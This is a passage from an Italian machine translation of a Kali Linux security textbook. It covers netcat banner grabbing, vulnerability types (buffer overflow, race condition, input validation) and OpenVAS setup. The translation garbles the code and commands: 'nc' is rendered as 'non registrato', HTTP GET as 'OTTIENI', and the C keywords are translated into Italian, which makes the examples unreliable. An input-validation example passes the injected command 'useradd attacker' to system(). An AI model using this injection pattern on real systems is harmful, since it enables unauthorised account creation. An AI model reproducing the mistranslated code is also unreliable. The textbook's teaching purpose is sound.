quel punto inizia a inviare la risposta.
Esempio 3-26. Utilizzo di nc per interagire con un server web
┌──(kilroy@badmilo)-[~]
└─$ non registrato 192.168.1.219 80
OTTIENI / HTTP/1.1
Host: 192.168.1.219
HTTP/1.1 200 OK
Tipo di contenuto: testo/html
Ultima modifica: domenica 19 marzo 2023 09:10:48
GMT
Accept-Ranges: bytes
ETag: "bccfeab1425ad91:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 28 Jun 2023 22:37:59 GMT
Content-Length: 1116928
<html>
<head>
<style>
body {
background:url('hahaha.jp
min-height: 100%;
background-color: black;
}
</style>
</head>
<body>
L'output qui mostra le intestazioni e la parte iniziale del corpo. Poiché in
questa pagina è stato incluso anche un grosso pezzo binario, è stato
omesso nello snippet che vedi. Un vantaggio nell'usare nc su telnet è che
netcat può essere usato per impostare un listener. Ciò significa che puoi
creare un sink a cui inviare traffico di rete. Puoi usarlo solo per raccogliere
dati da chiunque effettui una connessione a qualsiasi porta tu abbia
impostato per l'ascolto
on. Inoltre, telnet usa TCP. Di default, nc usa anche TCP, ma puoi far usare a
nc UDP. Questo può permetterti di interagire con qualsiasi servizio che usa
UDP come livello di trasporto.
Riepilogo
La raccolta di informazioni ti aiuterà nel tuo lavoro successivo. Può anche
essere usata per far emergere potenziali vulnerabilità nel senso di fuga di
informazioni. Dedicare del tempo alla raccolta di informazioni può dare i
suoi frutti, anche se vuoi solo arrivare allo sfruttamento. Ecco alcune idee
importanti da trarre da questo capitolo:
È possibile utilizzare fonti accessibili al pubblico per acquisire informazioni
sugli obiettivi.
Puoi usare Maltego per raccogliere automaticamente informazioni
pubblicamente disponibili.
Strumenti come theHarvester possono essere utilizzati per raccogliere
automaticamente informazioni su indirizzi email e persone.
Il Domain Name System (DNS) può contenere molti dettagli su
un'organizzazione di destinazione.
I registri Internet regionali (RIR) possono essere una fonte di molti dettagli
sugli indirizzi IP e sui loro proprietari.
Il programma nmap può essere utilizzato per la scansione delle porte e
per raccogliere dettagli sui sistemi operativi e sulle versioni delle
applicazioni.
In definitiva, le scansioni delle porte sono un modo per individuare le
applicazioni in ascolto su tali porte.
Gli strumenti di mappatura delle applicazioni possono essere utili per
raccogliere informazioni sulla versione.
È possibile utilizzare telnet o nc per raccogliere dettagli sulle applicazioni,
come i banner dei servizi, da sistemi remoti.
Risorse utili
Il post del blog di Cameron Colquhoun, "Una breve storia dell'Open
Intelligenza della fonte ”
Diapositive della presentazione di Sudhanshu Chauhan e Nutan Kumar
Panda, "Strumenti per l'intelligenza open source "
Automazione dell'intelligence open source di Robert Layton e
di Paul Watters (Elsevier, 2015)
Hacking dell'intelligenza del Web di Sudhanshu Chauhan e Nutan
Il panda di Kumar (Syngress, 2015)
Capitolo 4. Alla ricerca delle vulnerabilità
Dopo aver eseguito attività di ricognizione e raccolto informazioni sul tuo
obiettivo, potresti normalmente passare all'identificazione dei punti di
accesso ai sistemi remoti. Stai cercando vulnerabilità nell'organizzazione,
che possono essere aperte allo sfruttamento. Puoi identificare le
vulnerabilità in vari modi. Sulla base della tua ricognizione, potresti averne
identificate anche una o due. Queste potrebbero essere basate sulle
diverse informazioni ottenute tramite fonti aperte.
La scansione delle vulnerabilità è un compito comune per i penetration
tester, ma anche per i team di sicurezza informatica ovunque. Sono
disponibili molti strumenti commerciali per la scansione delle vulnerabilità,
ma anche alcuni scanner open source. Alcuni degli strumenti forniti da Kali
sono progettati per esaminare diversi tipi di sistemi e piattaforme. Altri
strumenti, tuttavia, sono progettati specificamente per cercare
vulnerabilità in dispositivi come router e switch. Potrebbe non sorprendere
che esistano scanner anche per dispositivi Cisco.
La maggior parte degli strumenti che esamineremo in questo capitolo
cercherà vulnerabilità esistenti. Sono quelle note e la loro identificazione
può essere effettuata in base alle interazioni con il sistema o le sue
applicazioni. A volte, però, potresti voler identificare nuove vulnerabilità. In
Kali sono disponibili strumenti che possono aiutare a generare crash
dell'applicazione, che possono diventare vulnerabilità, anche se lo
strumento non creerà exploit associati. Questi strumenti sono
comunemente chiamati fuzzer . Questo è un modo relativamente semplice
di generare molti dati malformati che possono essere forniti alle
applicazioni per vedere come vengono gestiti gli input.
Per iniziare questo processo, però, devi capire cos'è una vulnerabilità. Può
essere facile fraintendere le vulnerabilità o confonderle con altri concetti.
Un concetto importante da tenere a mente è che solo perché hai
identificato delle vulnerabilità non significa che saranno sfruttabili. Anche
se un exploit corrisponde alla vulnerabilità che hai trovato, non significa
che l'exploit funzionerà. È difficile sottovalutare l'importanza di questa
idea. Le vulnerabilità non portano necessariamente allo sfruttamento.
Comprendere le vulnerabilità
Prima di proseguire, assicuriamoci di essere tutti sulla stessa lunghezza
d'onda quando si tratta della definizione di vulnerabilità. A volte vengono
confuse con gli exploit e quando iniziamo a parlare di rischi e minacce,
questi termini possono diventare davvero confusi. Una vulnerabilità è una
debolezza in un sistema o in un software. Questa debolezza è un difetto
nella configurazione o nello sviluppo del sistema o del software. Se quella
vulnerabilità può essere sfruttata per ottenere l'accesso o compromettere
il sistema, è sfruttabile. Il processo per sfruttare quella debolezza è l'
exploit . Una minaccia è la possibilità di danneggiare un sistema o di
renderlo non disponibile. Il rischio è l'intersezione di perdita e probabilità,
il che significa che devi avere una perdita o un danno misurabile e una
probabilità di quella perdita o danno diventa attuale.
Tutto questo è abbastanza astratto, quindi parliamone in termini concreti.
Diciamo che qualcuno lascia i nomi utente e le password predefiniti
configurati su un sistema. Questa era una cosa molto comune,
specialmente in dispositivi come punti di accesso wireless domestici o
modem via cavo. Lasciare i nomi utente e le password predefiniti al loro
posto è una vulnerabilità perché i nomi utente e le password predefiniti
possono essere facilmente provati. Il processo di prova della password è lo
sfruttamento della vulnerabilità di lasciarla al suo posto. Questo è un
esempio di vulnerabilità che deriva da una configurazione errata. Le
vulnerabilità che vengono riconosciute più regolarmente sono di natura
programmatica e possono derivare da errori di programmazione come
buffer overflow.
Se sei interessato alle vulnerabilità e a tenere traccia del lavoro che c'è
dietro la loro scoperta, puoi iscriverti a mailing list come Full Disclosure.
Puoi ottenere dettagli sulle vulnerabilità che sono state trovate, a volte
incluso il codice proof-of-concept che può essere utilizzato per sfruttare la
vulnerabilità scoperta. Con così tanto software in circolazione nel mondo,
comprese le applicazioni web, ogni giorno vengono scoperte molte
vulnerabilità. Alcune sono più banali di altre, il che può rendere difficile il
processo di tenere il passo con tutto. L'archivio per Full Disclosure è
disponibile sul sito web SecLists . Puoi iscriverti da quella pagina, così come
dare un'occhiata a tutte le vecchie divulgazioni.
Daremo un'occhiata a un paio di tipi di vulnerabilità. Le prime sono le
vulnerabilità locali . Queste vulnerabilità possono essere attivate solo se
hai effettuato l'accesso al sistema con accesso locale. Ciò non significa che
sei seduto alla console, ma che hai un accesso interattivo al sistema.
Potresti accedere da remoto con un terminale o un accesso desktop
grafico. Le vulnerabilità locali possono includere vulnerabilità di escalation
dei privilegi in cui un utente con autorizzazioni regolari ottiene privilegi di
livello superiore fino ai diritti amministrativi. Utilizzando qualcosa come
un'escalation dei privilegi, gli utenti possono ottenere l'accesso a risorse a
cui altrimenti non dovrebbero avere accesso. Possono anche ottenere pieni
diritti amministrativi per eseguire attività come la creazione di utenti e
servizi o l'accesso a dati sensibili.
La vulnerabilità opposta a una vulnerabilità locale è una vulnerabilità
remota . Questa è una vulnerabilità che può essere attivata senza accesso
locale. Ciò richiede, tuttavia, che venga esposto un servizio a cui un
aggressore possa accedere. Le vulnerabilità remote possono essere
autenticate o non autenticate. Se un utente non autenticato può sfruttare
una vulnerabilità per ottenere l'accesso locale al sistema, ciò sarebbe una
cosa negativa. Non tutte le vulnerabilità remote portano all'accesso locale
o interattivo a un sistema. Le vulnerabilità possono portare al diniego di
servizio, alla compromissione dei dati, alla compromissione dell'integrità o,
eventualmente, all'accesso completo e interattivo al sistema.
Anche i dispositivi di rete come switch e router sono soggetti a
vulnerabilità. Se uno di questi dispositivi dovesse essere compromesso,
potrebbe avere effetti devastanti sulla disponibilità o persino sulla
riservatezza della rete. Chiunque abbia accesso a uno switch o a un router
può potenzialmente reindirizzare il traffico a dispositivi che altrimenti non
dovrebbero averlo. Kali è dotato di strumenti che possono essere utilizzati
per testare le vulnerabilità sui dispositivi di rete. Poiché Cisco è un
fornitore di spicco, non sorprende che la maggior parte degli strumenti
focalizzati sulle vulnerabilità nei dispositivi di rete siano focalizzati su Cisco.
Tipi di vulnerabilità
Il progetto Open Web Application Security ( OWASP ) mantiene un elenco
di categorie di vulnerabilità comuni. Periodicamente, OWASP aggiorna un
elenco dei 10 principali problemi di sicurezza delle applicazioni. Il software
viene rilasciato e aggiornato ogni anno e ogni pezzo di software contiene
dei bug. Quando si tratta di bug correlati alla sicurezza che creano
vulnerabilità, alcuni comuni dovrebbero essere presi in considerazione.
Prima di entrare nel dettaglio di come cercare queste vulnerabilità, dovresti
capire un po' di cosa sia ciascuna di queste vulnerabilità.
Sovraccarico del buffer
Il buffer overflow è una vulnerabilità comune e lo è da decenni. Sebbene
alcuni linguaggi eseguano molti controlli sui dati immessi nel programma e
sui dati che vengono passati nel programma, non tutti i linguaggi lo fanno.
A volte spetta al linguaggio e al modo in cui crea l'eseguibile eseguire
questo tipo di controlli. Tuttavia, alcuni linguaggi non eseguono tali
controlli. Il controllo automatico dei dati crea overhead e non tutti i
linguaggi vogliono imporre questo tipo di overhead a programmatori e
programmi. I linguaggi più recenti sono molto più sicuri per la memoria,
inclusi Go, Rust e Swift. Il linguaggio di programmazione C è da tempo noto
per offrire una protezione limitata o nulla contro errori di memoria come i
buffer overflow.
Un buffer overflow sfrutta il modo in cui i dati sono strutturati nella
memoria. Ogni programma riceve un blocco di memoria. Parte di quella
memoria è allocata per il codice e parte è allocata per i dati su cui il codice
deve agire. Parte di quella memoria è una struttura dati chiamata pila .
Immagina di passare attraverso una fila di mensa o anche un buffet. I piatti
o i vassoi sono in una pila. Qualcuno che passa tira dalla cima della pila, ma
quando i piatti o i vassoi vengono riforniti, i nuovi piatti o vassoi vengono
messi in cima alla pila. Quando la pila viene rifornita in questo modo, puoi
pensare di spingere sulla pila. Tuttavia, quando l'elemento più in alto viene
rimosso, puoi pensare di saltare fuori dalla cima della pila.
I programmi funzionano allo stesso modo. I programmi sono generalmente
strutturati tramite l'uso di funzioni. Una funzione è un segmento di codice
che esegue un'azione o un insieme di azioni chiaramente definiti. Consente
di chiamare lo stesso segmento di codice più volte in più punti del
programma senza dover duplicare quel segmento ogni volta che è
necessario. Consente inoltre l'esecuzione di codice non lineare. Invece di
avere un lungo programma che viene eseguito in serie, l'uso di funzioni
consente al programma di modificare il suo flusso di esecuzione saltando
nella memoria. Quando vengono chiamate funzioni, spesso vengono
chiamate con parametri, ovvero pezzi di informazioni. Questi parametri
sono i dati su cui agisce la funzione. Quando viene chiamata una funzione, i
parametri e le variabili locali della funzione vengono posizionati sullo stack.
Questo blocco di dati è chiamato stack frame .
All'interno dello stack frame non ci sono solo i dati associati alla funzione,
ma anche l'indirizzo a cui il programma dovrebbe tornare dopo che la
funzione è stata completata. Ecco come i programmi possono essere
eseguiti in modo non lineare. La CPU non mantiene l'intero flusso del
programma. Invece, prima che una funzione venga chiamata, l'indirizzo
all'interno del blocco di codice in cui il programma è stato eseguito per
ultimo viene anche spinto sullo stack.
I buffer overflow diventano possibili perché a questi parametri viene
assegnato uno spazio di dimensioni fisse sullo stack. Supponiamo che tu
preveda di ricevere dati dall'utente lunghi 10 byte. Se l'utente immette 15
caratteri, sono 5 byte in più (supponendo un singolo byte per un carattere,
il che non è necessariamente il caso) rispetto allo spazio che è stato
assegnato per la variabile che viene copiata al suo interno. A causa del
modo in cui è strutturato lo stack, tutte le variabili e i dati vengono prima
del puntatore all'istruzione di ritorno. I dati inseriti nel buffer non hanno
un posto dove andare se il runtime del linguaggio non esegue nessuno dei
controlli in anticipo per troncare i dati. Invece, scrive semplicemente sopra
gli indirizzi successivi in memoria. Ciò può causare la sovrascrittura del
puntatore all'istruzione di ritorno se invii dati sufficienti per arrivare al
punto in cui è archiviato il puntatore all'istruzione.
La figura 4-1 mostra un esempio semplificato di uno stack frame per una
singola funzione. Alcuni elementi che appartengono allo stack frame non
sono dimostrati qui. Invece, ci stiamo concentrando solo sulle parti che ci
interessano. Se la funzione sta leggendo in Var2 , l'attaccante può
immettere più dei 32 caratteri previsti. Una volta superati i 32 caratteri,
eventuali dati aggiuntivi verranno scritti nello spazio degli indirizzi in cui è
memorizzato l'indirizzo dell'istruzione di ritorno. Quando la funzione
ritorna, quel valore verrà letto dallo stack e il programma proverà a saltare
a quell'indirizzo. Un buffer overflow tenta di far saltare il programma a una
posizione nota o sotto il controllo dell'attaccante per eseguire il codice
dell'attaccante.
Figura 4-1. Vista semplificata di un frame dello stack
Un aggressore che esegue il codice che desidera eseguire, anziché il codice
del programma, viene definito esecuzione di codice arbitrario .
L'aggressore può controllare il flusso di esecuzione del programma, ovvero
controlla cosa fa il programma, incluso il codice che esegue. Un aggressore
che può farlo può potenzialmente ottenere l'accesso alle risorse a cui il
proprietario del programma ha i permessi di accesso. Il motivo è che gli
aggressori apriranno comunemente una shell di comando sul sistema
remoto, motivo per cui il codice iniettato nello spazio buffer è chiamato
shellcode , perché esegue una shell.
Condizione di gara
Nessun programma in esecuzione ha accesso esclusivo al processore.
Mentre un programma è in modalità di esecuzione, viene scambiato
dentro e fuori dalla coda del processore in modo che il codice possa essere
eseguito. I programmi moderni possono essere multithread. Hanno più
percorsi di esecuzione simultanei. Questi thread di esecuzione hanno
ancora accesso allo stesso spazio dati e se ho due thread in esecuzione che
stanno entrambi modificando una variabile e i thread in qualche modo
escono dalla sequenza, possono sorgere problemi nel modo in cui funziona
il programma. L'esempio 4-1 mostra una piccola sezione di codice C.
Questo non è il modo in cui dovresti scrivere programmi, ovviamente,
poiché c'è una variabile globale e ci sono modi migliori per proteggere i
dati condivisi, ma questo è solo per dimostrare un concetto, non un buon
modo di scrivere codice C.
Esempio 4-1. Semplice funzione C
intero x;
void update(int y) { x = x + y if (x == 100) {
printf("siamo al valore"); }
}
Supponiamo di avere due thread che eseguono quella funzione
simultaneamente. La variabile globale x viene incrementata di un valore
sconosciuto da due thread separati. Questa variabile è un singolo posto
nella memoria. Al contrario, i due thread che eseguono la funzione di
aggiornamento otterranno le proprie istanze della variabile y , che viene
passata nella funzione. La variabile x , tuttavia, deve essere condivisa dalle
istanze della funzione. Una condizione di gara è ciò che accade quando due
percorsi di esecuzione separati accedono allo stesso set di dati
contemporaneamente. Quando la memoria non è bloccata, una lettura
può aver luogo in un momento in cui si è verificata una scrittura
imprevista. Una seconda lettura nella posizione di memoria può recuperare
un valore diverso. Tutto dipende dalla tempistica.
In questo caso, diamo un'occhiata alla riga x = x + y . Innanzitutto, i valori
nelle posizioni di memoria a cui si fa riferimento con x e y devono essere
letti. Diciamo che quando recuperiamo il valore di x , ha un valore di 11.
Quindi aggiungiamo il valore di y . Forse prima che il valore risultante
venga riscritto nella posizione di memoria a cui si fa riferimento con x ,
un'altra istanza di funzione ha aggiornato quella posizione di memoria. Se y
fosse impostato su 5, il valore da questa istanza chiamata sarebbe 16.
Forse nella seconda istanza, però, y era 10. Improvvisamente, il valore di x
è 21, tranne per il fatto che non appena x viene scritto qui, abbiamo un
valore di 16. Quale è corretto? Con una programmazione come questa, si
ottengono comportamenti imprevedibili nel programma.
Se il flusso corretto di un programma richiede tempistiche specifiche, c'è la
possibilità di una condizione di gara. Le variabili possono essere modificate
prima di una lettura critica che può controllare la funzionalità del
programma. Potresti avere qualcosa come un nome file che potrebbe
essere inserito prima che il valore venga letto e utilizzato. Le condizioni di
gara possono essere difficili da trovare e isolare a causa della natura
asincrona dei programmi con più thread. Senza controlli come i semafori
per indicare quando i valori sono in uno stato in cui possono essere letti o
scritti in modo sicuro, potresti ottenere un comportamento incoerente
semplicemente perché il programmatore non può controllare direttamente
quale thread avrà accesso alla CPU in quale ordine.
Naturalmente, quello che abbiamo esaminato qui è un semplice esempio
solo per dimostrare chiaramente il punto. Errori di programmazione molto
più sottili possono portare a comportamenti imprevedibili come risultato di
condizioni di gara.
Convalida dell'input
La convalida dell'input è un termine ampio che in qualche modo
comprende i buffer overflow e altre vulnerabilità. Se il buffer passato è
troppo lungo e non è stato controllato, si tratta di un problema di convalida
dell'input. Tuttavia, la convalida dell'input è un problema che si estende
oltre i buffer overflow. Infatti, i buffer overflow riguardano il controllo della
dimensione dell'input, ma altri tipi di errori sono il risultato del fatto che
l'input contiene valori che potrebbero essere dannosi per il programma o il
sistema su cui il programma è in esecuzione. L'esempio 4-2 mostra un
piccolo frammento di codice C che potrebbe essere facilmente vulnerabile
agli attacchi senza una corretta convalida dell'input.
Esempio 4-2. Programma C con potenziali errori di convalida dell'input
int provaQuesto(char
*valore) { int ret; ret
= sistema(valore);
ritorno ret; }
Questa è una piccola funzione che accetta una stringa come parametro. Il
parametro viene passato direttamente alla funzione di libreria C system ,
che passa l'esecuzione al sistema operativo. Se il valore useradd attacker
dovesse essere passato, verrebbe passato direttamente al sistema
operativo e, se il programma avesse le autorizzazioni corrette a causa
dell'utente con cui è in esecuzione, creerebbe un utente chiamato attacker
. Qualsiasi comando del sistema operativo potrebbe essere passato in
questo modo. Senza una corretta convalida dell'input, questo potrebbe
essere un problema significativo, soprattutto senza le autorizzazioni
appropriate fornite al programma sotto attacco. Questo è uno dei motivi,
francamente, per cui Kali Linux non consente più agli utenti di accedere
direttamente come utente root. Gli errori di programmazione potrebbero
essere sfruttati in un programma in esecuzione come utente root, il che
significa che hanno l'intera esecuzione del sistema per fare ciò che
vogliono.
Questo tipo di problema di convalida dell'input è forse più probabile che si
verifichi nelle applicazioni web. Gli attacchi Command injection, SQL
injection e XML injection sono tutti esempi di scarsa convalida dell'input. I
valori vengono passati negli elementi di un'applicazione senza essere
controllati. Questo input potrebbe potenzialmente essere un comando del
sistema operativo o un codice SQL, ad esempio. Se il programmatore non
convalida correttamente l'input prima di agire su di esso, possono
verificarsi brutte cose.
Controllo degli accessi
Il controllo degli accessi è un po' una categoria generica dal punto di vista
della vulnerabilità. A prima vista, il controllo degli accessi determina
semplicemente chi può accedere alle risorse e quale livello di accesso
ottiene. Un'area in cui il controllo degli accessi può diventare una
vulnerabilità è quando i programmi vengono eseguiti come utenti che
hanno più permessi o privilegi di quelli strettamente necessari al
programma per funzionare. Qualsiasi programma eseguito come root, ad
esempio, è potenzialmente problematico. Se il codice può essere sfruttato,
come con un input scarsamente convalidato o un buffer overflow, qualsiasi
cosa faccia l'attaccante avrà permessi di root.
Questo non è strettamente limitato ai programmi eseguiti come root.
Qualsiasi programma viene eseguito con i permessi del proprietario del
programma. Se un proprietario di un programma ha i permessi per
accedere a qualsiasi risorsa su un sistema, un exploit di quel programma
può dare a un aggressore l'accesso a quella risorsa. Questi tipi di attacchi
possono portare a un'escalation di privilegi : un utente ottiene l'accesso a
qualcosa a cui non dovrebbe avere accesso nel normale stato delle cose
all'interno del sistema.
Questo particolare problema potrebbe essere alleviato, almeno in una
certa misura, richiedendo l'autenticazione all'interno dell'applicazione. È
un ostacolo che un aggressore deve superare prima di sfruttare un
programma: dovrebbe aggirare l'autenticazione con un attacco diretto o
acquisendo o indovinando una password. A volte il meglio che possiamo
sperare è di rendere l'accesso un fastidio.
Scansione delle vulnerabilità
La scansione delle vulnerabilità è il processo di ricerca primaria di
vulnerabilità note. Nel resto di questo capitolo, esamineremo gli scanner
delle vulnerabilità, ma quando le persone pensano agli scanner delle
vulnerabilità, potrebbero pensare a scanner generici che possono
esaminare sia le vulnerabilità locali che quelle remote. Sono disponibili
molti scanner commerciali. Negli anni '90, uno dei primi scanner era il
Security Administrator's Toolkit for Analyzing Networks (SATAN), anche se
per le persone che si sentivano offese dall'acronimo, si poteva eseguire un
programma che avrebbe apportato una modifica e chiamarlo SANTA.
SATAN alla fine è diventato SAINT, Security Administrator's Integrated
Network Toolkit, che è ancora disponibile come scanner commerciale.
SATAN, tuttavia, era open source e disponibile gratuitamente. Non molto
tempo dopo è arrivato un altro scanner open source e disponibile
gratuitamente chiamato Nessus.
Nessus è stato sviluppato originariamente nel 1998, ma nel 2005 i suoi
sviluppatori decisero di chiudere la fonte e trasformarla in software
commerciale. Il mio ricordo all'epoca era che gli sviluppatori erano stanchi
di essere gli unici a contribuire. La comunità non contribuiva, quindi
chiusero la fonte. Tutto questo per spiegare le fondamenta di uno scanner
di vulnerabilità open source chiamato OpenVAS, che è iniziato come un
fork di Nessus. Le prime versioni utilizzavano il programma grafico e le
fondamenta di Nessus, quindi non c'era molta differenza.
OpenVAS, come molti altri scanner di vulnerabilità e, francamente, molti
software commerciali, è passato a un'interfaccia basata sul Web. Mentre
puoi ottenere uno degli scanner commerciali, installarlo e utilizzarlo su Kali
Linux, OpenVAS è disponibile come pacchetto che può essere installato.
Non è installato di default, quindi devi installare il pacchetto openvas . Una
volta installato come pacchetto, devi fare il lavoro di installazione e
preparazione di tutto il necessario per utilizzare OpenVAS. Questo non è
necessariamente un processo semplice. Innanzitutto, richiede che sia
installato il database PostgreSQL, il che va bene perché Metasploit, che è
installato di default, richiede anche PostgreSQL. Il primo passaggio nella
configurazione di OpenVAS è illustrato nell'Esempio 4-3 . Devi eseguire
gvm_setup . Questo non è un processo breve. Oltre a configurare il
database, scarica tutte le firme.
Esempio 4-3. Installazione di OpenVAS
┌──(kilroy@badmilo)-[~]
└─$ sudo gvm-setup
[>] Avvio del servizio PostgreSQL
[>] Creazione dei file di certificato GVM
[>] Creazione del database PostgreSQL
[*] Creazione utente database
[*] Creazione del database
[*] Creating permissions
CREATE ROLE
[*] Applying permissions
GRANT ROLE
[*] Creating extension uuid-ossp
CREATE EXTENSION
[*] Creating extension pgcrypto
CREATE EXTENSION
[>] Migrating database
[>] Checking for GVM admin user
[*] Creating user admin for gvm
[*] Please note the generated admin password
[*] User created with password 'af6c349c-5a7e-4a 8
[*] Configure Feed Import Owner
[*] Define Feed Import Owner
[>] Updating GVM feeds
[*] Updating NVT (Network Vulnerability Tests fee
Feed/Community Feed)
Gli scanner di vulnerabilità sanno come si presenta una vulnerabilità
perché cercano firme o pattern. Gli scanner di vulnerabilità non tentano di
sfruttare le vulnerabilità. Non trovano vulnerabilità che non esistevano in
precedenza. Cercano pattern nelle loro interazioni con programmi e
sistemi. Questi pattern sono sviluppati dai responsabili di OpenVAS in base
agli annunci di vulnerabilità. Tuttavia, non dare per scontato che solo
perché gli scanner di vulnerabilità non sfruttano le vulnerabilità per
convalidarle, lo scanner sia perfettamente sicuro. È possibile che uno
scanner causi inavvertitamente danni ai sistemi, comprese le interruzioni.
Quando si inviano molti dati alla ricerca di vulnerabilità, c'è la possibilità
che il sistema ricevente finisca per avere problemi. Le applicazioni che sono
davvero fragili potrebbero finire per avere problemi che causano guasti
nell'applicazione.
Il processo gvm_setup scarica centinaia o migliaia di file XML che
contengono informazioni sulle vulnerabilità. Ogni vulnerabilità installata
deve essere catalogata in modo da poterla utilizzare nella scansione delle
vulnerabilità. L'esempio 4-4 mostra alcuni di questi file XML scaricati. A
seconda della velocità del disco, del processore e della rete, questo può
richiedere diverse ore. Sii paziente, allontanati, trova qualcos'altro da fare
e aspetta semplicemente che tutto sia stato installato. Dovrai prestare
attenzione all'ultima parte dell'installazione. Parte dell'output nell'ultima
sezione sarà la password per l'utente amministratore. Ti servirà per
accedere a OpenVAS per la prima volta.
Esempio 4- 4.
Scaricamento delle firme
Italiano: nvdcve-2.0-2010.xml 22.577.713 100%
983,91 kB/s 0:00:22 (xfr# nvdcve-2.0-2011.xml
22.480.816 100% 969,40 kB/s 0:00:22 (xfr# nvdcve2.0-2012.xml 25.153.405 100% 995,05 kB/s 0:00:24
(xfr# nvdcve-2.0-2013.xml 28.559.864 100% 989,41
kB/s 0:00:28 (xfr# nvdcve-2.0-2014.xml 30.569.278
100% 991,56 kB/s 0:00:30 (xfr# nvdcve-2.02015.xml 32.900.521 100% 634,44 kB/s 0:00:50
(xfr#
Una volta completata l'installazione, vedrai un output come nell'Esempio
4-5 . Puoi vedere la password per l'utente amministratore verso la fine
dell'output. Puoi vedere che è lunga. Mentre puoi aggiungere utenti sulla
riga di comando, è probabilmente più semplice assicurarti di copiare
questa password e di memorizzarla da qualche parte finché non riesci ad
accedere all'interfaccia web. Vedrai anche il suggerimento di eseguire gvmcheck-setup . Puoi superare gvm-setup e avere comunque un'installazione
OpenVAS non funzionante. Dovresti assicurarti di eseguire gvm-checksetup .
Configurazione OpenVAS completata
Esempio 4- 5.
ent 735 byte ricevuti 106.076.785 byte 986.76 la
dimensione totale è 106.049.031 l'accelerazione è
1,00
[+] Feed GVM aggiornati
[*] Controllo dello scanner predefinito
[*] Modifica dello scanner
predefinito Scanner modificato.
[+] Fatto
[*] Si prega di notare la password per l'utente
amministratore
[*] Utente creato con password 'af6c349c-5a7e-4a4
[>] Ora puoi eseguire gvm-check-setup per
assicurarti
Idealmente, dovresti superare gvm-check-setup senza problemi. Se ci riesci,
vedrai l'output mostrato in
Esempio 4-6 . Se dovessi riscontrare degli errori, posso dirti per esperienza
personale che risolverli può essere molto impegnativo. Prova a fare
semplicemente un'installazione semplice e pulita senza discostarti
dall'approccio di base descritto qui.
Esecuzione di gvm-check-setup
Esempio 4- 6.
┌──(kilroy@badmilo)-[~] └─$ sudo gvm-checksetup gvm-check-setup 22.4.1 Verifica la
completezza e la prontezza di GVM-22.4.1
Passaggio 1: Controllo di OpenVAS (Scanner)...
OK: OpenVAS Scanner è presente nella versione
OK: Notus Scanner è presente nella versione 2
OK: il certificato CA del server è presente come
/
Verifica dei permessi di
/var/lib/openvas/gnupg/*
OK: _gvm possiede tutti i file in /var/lib/openv
OK: redis-server è presente. OK: lo scanner
(impostazione db_address) è configurato socket
redis-server: /var/run/redis-openv OK: redisserver è in esecuzione e in ascolto
/var/run/redis-openvas/redis-server.sock
OK: la configurazione del server redis è OK e
OK: mqtt_server_uri è definito in /et
OK: _gvm possiede tutti i file in /var/lib/openv
OK: raccolta NVT in /var/lib/openvas/pl
OK: la directory notus /var/lib/notus/p
Verifica che il database Redis obsoleto sia stato
OK: nessun vecchio DB Redis
OK: ospd-OpenVAS è presente nella versione 22
Passaggio 2: Controllo di GVMD Manager ...
OK: GVM Manager (gvmd) è presente nella versione
Fase 3: Controllo dei certificati ...
OK: il certificato client GVM è valido e p
/var/lib/gvm/CA/clientcert.pem.
OK: la tua infrastruttura di certificazione GVM p
Passaggio 4: controllo dei dati ...
OK: dati SCAP trovati in /var/lib/gvm/scap
OK: dati CERT trovati in /var/lib/gvm/cert
Passaggio 5: controllo del database Postgresql e
dell'utente ... OK: versione di Postgresql e
porta predefinita a gvmd | _gvm | UTF8 |
en_US.UTF-8 | en_US 16435|pggvm|10|2200|f|22.4.0|| OK: esiste almeno un
utente.
Passaggio 6: verifica di Greenbone Security
Assistant (GS
OK: Greenbone Security Assistant è presente
Passaggio 7: verifica che i servizi GVM siano
attivi e funzionanti: il servizio ospd-openvas è
attivo.
OK: il servizio gvmd è attivo.
OK: il servizio gsad è attivo.
Fase 8: Verifica di altri requisiti...
OK: nmap è presente. OK: ssh-keygen trovato, gene
delle credenziali LSC probabilmente funzionerà.
OK: nsis trovato, target del pacchetto delle
credenziali LSC probabilmente funzionerà. OK:
xsltproc trovato.
Passaggio 9: Controllo di greenbone-securityassistant...
OK: greenbone-security-assistant è instabile
It seems like your GVM-22.4.1 installation is OK
Ora dovresti avere una configurazione OpenVAS funzionante. Puoi avviarla
usando gvm-start . Se i servizi sono in esecuzione e vuoi interromperli,
puoi eseguire gvm_stop . Se dovessi mai avere problemi con la tua
installazione OpenVAS, vale la pena eseguire di nuovo gvm-checksetup .
Una volta installato OpenVAS, puoi accedervi con qualsiasi browser
all'indirizzo http://127.0.0.1:9392 . Ricorda, il nome utente è admin e la
password è qualsiasi cosa sia stata emessa dal tuo processo di
configurazione. Ogni installazione avrà una password diversa, quindi
assicurati di tenere traccia della tua.
Vulnerabilità locali
Le vulnerabilità locali richiedono un certo livello di accesso al sistema.
L'obiettivo di una vulnerabilità locale non è ottenere l'accesso. Devi già
avere accesso locale per eseguire un programma che ha una tale
vulnerabilità. L'idea di sfruttare una vulnerabilità locale è spesso quella di
ottenere accesso a qualcosa a cui l'attaccante altrimenti non ha accesso, il
che significa che potrebbe trattarsi di un'escalation di privilegi.
Le vulnerabilità locali possono verificarsi in qualsiasi programma di un
sistema.
Ciò include l'esecuzione di servizi, programmi che vengono eseguiti in
background senza interazione diretta dell'utente e spesso chiamati d
aemon , nonché qualsiasi altro programma a cui un utente può accedere.
Un programma come passwd è setuid per consentire a qualsiasi utente di
eseguirlo e ottenere privilegi di root temporanei. Un programma setuid
imposta l'ID utente del programma in esecuzione sul proprietario del file.
Ciò è necessario perché la modifica della password di un utente richiede
modifiche a un file su cui solo root può scrivere. Se volessi cambiare la mia
password, potrei eseguire passwd , ma poiché il database delle password
deve essere modificato, il programma passwd deve avere privilegi di root
per scrivere sul file necessario. Se ci fosse una vulnerabilità nel programma
passwd , quel programma verrebbe eseguito temporaneamente come
root, il che significa che qualsiasi exploit durante il periodo di tempo in cui
il programma era in esecuzione come root avrebbe i permessi di root.
NOTA
Un programma che ha il bit setuid impostato si avvia come l'utente proprietario del file. Normalmente,
l'utente proprietario di un file sarebbe root perché gli utenti devono essere in grado di eseguire attività
che richiedono privilegi di root, come cambiare la propria password. Tuttavia, puoi creare un
programma setuid per qualsiasi utente. Indipendentemente dall'utente che ha avviato il programma,
quando è in esecuzione, sembrerà che il proprietario del programma sul disco stia eseguendo il
programma.
Utilizzo di Lynis per i controlli locali
Nella maggior parte delle distribuzioni Linux sono disponibili programmi in
grado di eseguire test per le vulnerabilità locali. Kali non è diverso. Uno di
